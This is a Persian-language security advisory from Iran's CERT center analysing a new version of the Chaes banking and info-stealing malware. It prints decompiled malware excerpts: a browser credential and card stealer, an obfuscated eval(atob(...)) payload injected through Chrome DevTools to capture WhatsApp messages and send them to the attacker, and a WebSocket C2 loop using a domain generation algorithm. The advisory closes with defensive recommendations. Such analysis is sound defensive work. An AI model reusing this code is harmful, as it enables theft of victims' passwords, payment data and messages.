بسمه تعالی

وزارت ارتباطات و فناوری اطلاعات

سازمان فناوری اطلاعات ایران

معاونت امنیت فضای تولید و تبادل اطلاعات

مرکز ماهر

مرکز مدیریت امداد و هماهنگی عملیات رخدادهای رایانه ای

# نسخه جدید بدافزار Chaes

## تحلیل آسیب‌پذیری

نوع سند ..... گزارش فنی

شماره نگارش ..... ۰.۱

تاریخ نگارش ..... 1402/06/20

طبقه‌بندی سند ..... عادی


تهران، خیابان شهید بهشتی- بین بزرگراه شهید مدرس و خیابان احمد قصیر- پلاک ۲۶۷

(۰۲۱) ۸۸۱۱۵۷۲۴

(۰۲۱) ۸۸۱۱۵۷۲۴

cert.ir

# فهرست مطالب

# ۱ شرح آسیب‌پذیری

نسخه جدید بدافزار Chaes از پروتکل Google Chrome DevTools برای سرقت داده‌ها استفاده می‌کند.

**شکل ۱- تصویر خبر**

نرم‌افزار مخرب Chaes به‌عنوان یک نسخه جدید و پیشرفته‌تر بازگشته است که شامل پیاده‌سازی سفارشی پروتکل Google DevTools برای دسترسی مستقیم به توابع مرورگر قربانی است، که به این نرم‌افزار اجازه می‌دهد از طریق WebSockets اطلاعات را سرقت کند.

این نرم‌افزار مخرب ابتدا در نوامبر ۲۰۲۰ در محیط‌های آنلاین ظاهر شد و هدف آن مشتریان تجارت الکترونیک در آمریکای لاتین بود. فعالیت‌های آن تا پایان سال ۲۰۲۱ به‌طور قابل توجهی گسترش یافت و شرکت Avast آن را به‌عنوان ابزاری برای توزیع نرم‌افزار مخرب در ۸۰۰ سایت WordPress اعلام کرد.

بعد از آلودگی، Chaes افزونه‌های مخربی را در مرورگر Chrome قربانی نصب می‌کند تا دسترسی ماندگاری را برقرار کند، عکس‌های صفحه نمایش را ضبط کرده، رمزهای عبور و کارت‌های اعتباری ذخیره‌شده را دزدیده، کوکی‌ها را انتقال می‌دهد و اطلاعات بانک اینترنتی را از سرقت می‌کند.

```
def steal(config):
    logins = []
    credit_cards = []
    autofill = []
    cookies = []
    chromium = Chromium(config)
    chromium.findBrowsers()
    chromium.getLogins()
    chromium.getCreditCards()
    chromium.getAutofill()
    for browser in chromium.browsers:
        logins = logins + getLogins(browser)
        credit_cards = credit_cards + getCreditCards(browser)
        autofill = autofill + getAutofill(browser)
    else:
        return (
         logins, credit_cards, autofill, cookies)
```

**شکل ۲- کد قسمت سرقت اطلاعات در بدافزار**

نسخه جدید Chaes در ژانویه ۲۰۲۳ توسط Morphisec تشخیص داده شد و عمدتاً در پلتفرم‌هایی مانند Mercado Libre، Mercado Pago، WhatsApp Web، بانک Itau، بانک Caixa، MetaMask و خدمات CMS مانند WordPress و Joomla هدف قرار داده شده است.

Morphisec تغییرات زیر را در آخرین نسخه Chaes مشخص کرده است:

- معماری کد بازسازی شده.
- چندین لایه رمزگذاری و تکنیک‌های پنهان‌کاری بهبود یافته.
- انتقال به زبان Python برای رمزگشایی و اجرای در حافظه.
- جایگزینی 'Puppeteer' برای نظارت بر فعالیت‌های مرورگر Chromium با Chrome DevTools.
- گسترش خدمات هدف برای دزدیدن مدارک اعتباری.
- استفاده از WebSockets برای ارتباط بین ماژول‌های نرم‌افزار مخرب و سرور C2 به جای HTTP.
- پیاده‌سازی DGA (الگوریتم تولید دامنه) برای تعیین آدرس سرور C2 پویا.

Puppeteer یک کتابخانه Node.js است که API سطح بالا برای کنترل Chrome در حالت بدون رابط کاربری (مخفی از کاربران) ارائه می‌دهد. این بدافزار از این کتابخانه در گذشته برای نظارت بر فعالیت‌های مرورگرها بر روی دستگاه‌ها استفاده می‌کرده است.

```
self.exposeFunction(result['sessionId'], 'onWhatsapp')
self.exposeFunction(result['sessionId'], 'onWhatsappMessage')
                                                    1. Once target attached, expose functions

if self.isRequestWhatsapp(request, url):
    return self.onWhatsapp(data, request, url)
                                                    2. If request is made to whatsApp, call the injection function

def onWhatsapp(self, data, request, url):
    if 'sessionId' not in data:
        return
    self.cdp.send({'sessionId':data['sessionId'],   3. Run malicious JavaScript code inside the browser
     'method':'Runtime.evaluate',
     'params':{'expression': 'eval(atob("7kCKp0nC7kCMwADMxACL0BXZjJXZ05W.fBHchNHdhh2duc3bk5W.3hCd19WZtlGV0V2cuc3bk5W.
     3BCIgAiCKsTfgACIgoQfgACIgACIgAiC7kCMwAzMgwCcwF2c0FG.391.v9G.uc3bk5W.3hCd19WZtlGV0V2cuc3bk5W.
     3BCIgACIgACIgACIgowOpInclhicvJncl5SZs92cu92YgACIgACIgACIgACIKsHIpInclhCIoNGdhNGI9BCIgACIgACIKsTKgACIgACIgACIgACIK0HIg
     CIgACIgACIK0HIgACIgACIgACIgACIgACIgACIgowOpkSfgACIgACIgACIgACIgACIgACIgACIKwSZtFmbgoTZsRX.
     0BCIgACIgACIgACIgACIgACIgACIgACIgACIgACIgAiCskHZvJmLtBiO5R2biBCIgACIgACIgACIgACIgACIgACIgACIgACIgAiC7hSeml2Zulmc0NnLO90U
     WTwBXYzRXYodlbv5ydvRmbpdHIgACIgACIgACIgACIgACIgACIgACIgACIgAiCKsjbyVHdlJHIgACIgACIgACIgACIgACIgACIgACIgACIKkSK39GZul
```

```
if (!("onWhatsappMessage" in window))
    return;                                         4. Inside the browser, once message has found, call the
                                                    exposed function and pass the message data to it
window.onWhatsappMessage(JSON.stringify({
    body: m.body,
    title: name,
}));
```

```
def exposed_onWhatsappMessage(self, payload):
    self.log('onWhatsappMessage', payload)          5. The exposed function is triggered from
    if 'title' not in payload:                      the JavaScript code inside the webpage,
        return                                      back to the Python module. The messaga is
    if 'body' not in payload:                       sent back to the attacker.
        return
    self.request_whatsapp_message_api(payload['title'], payload['body'], self.chromium_cmd_line)
```

**شکل ۳- تزریق کد جاوا اسکریپت برای سرقت اطلاعات**

یکی از ویژگی‌های جدید Chaes استفاده از پروتکل Chrome DevTools برای دزدیدن اطلاعات از مرورگر وب است، از جمله تغییرات در زمان واقعی در صفحات وب، اجرای کد JavaScript، اشکال‌زدایی، مدیریت درخواست‌های شبکه، مدیریت حافظه، مدیریت کوکی و حافظه موقت.

استفاده از ارتباطات WebSockets یک تغییر مهم دیگر در نسخه جدید این بدافزار است. پشتیبانی از ارتباطات ماندگار برای تبادل داده‌ها با زمان واقعی کمتر، می‌تواند همزمان داده‌های متنی و دودویی را انتقال دهد و نیازی به ذخیره درخواست یا پراکسی‌گذاری ندارد و به‌طور کلی پنهان‌تر از HTTP است. همه پیام‌های تبادل شده بین C2 و مشتری نرم‌افزار مخرب به صورت JSON شکل‌دهی شده و با base64 و با AES رمزگذاری شده است.

Chaes اولین مورد قابل توجهی از نرم‌افزار مخرب است که از پیاده‌سازی سفارشی پروتکل Google Chrome DevTools برای انجام عملیات مخرب استفاده می‌کند.

```
def start_chaes_websocket(self):
    while True:
        try:
            url = DayDomain(self.config['uuid']).get()
            url = getDnsOhTxt(url)
            self.ws_chaes.onClose = self.on_ws_chaes_close
            self.ws_chaes.onError = self.on_ws_chaes_error
            self.ws_chaes.onMessage = self.on_ws_chaes_message
            self.ws_chaes.onOpen = self.on_ws_chaes_open
            print('Connecting to', url)
            self.ws_chaes.connect(url)
        except Exception as e:
            try:
                print(str(e))
            finally:
                e = None
                del e

        else:
            if self.stop_chaes_websocket:
                break
            time.sleep(60)
```

**شکل ۴- استفاده از web socket به جای http در نسخه جدید بدافزار**

تمام علائم نشان می‌دهند که ماژول‌های نرم‌افزار مخرب در حال توسعه فعال هستند، بنابراین وظایف آنها ممکن است به‌زودی گسترش و بهبود یابد.

## ۲ توصیه های امنیتی

۱. به‌روزرسانی نرم‌افزارها و سیستم عامل: اطمینان حاصل کنید که سیستم عامل و نرم‌افزارهای خود به‌روز هستند. این شامل مرورگر و افزونه‌های آن نیز می‌شود.

۲. فقط نصب افزونه‌های امن و معتبر: افزونه‌های مرورگر را فقط از منابع رسمی و امن نصب کنید. به افزونه‌های مشکوک و تأیید نشده اجازه ندهید.

۳. محدود کردن دسترسی به نصب نرم‌افزارها: به عنوان یک کاربر، دسترسی خود به نصب نرم‌افزارها را محدود کنید و فقط از منابع معتبر و قابل اعتماد برای نصب نرم‌افزارها استفاده کنید.

۴. درخواست به‌روزرسانی و اصلاحات امنیتی از توسعه‌دهندگان نرم‌افزارها خود را دنبال کنید.

# ۳ منبع خبر

[1] https://www.bleepingcomputer.com/news/security/chaes-malware-now-uses-google-chrome-devtools-protocol-to-steal-data/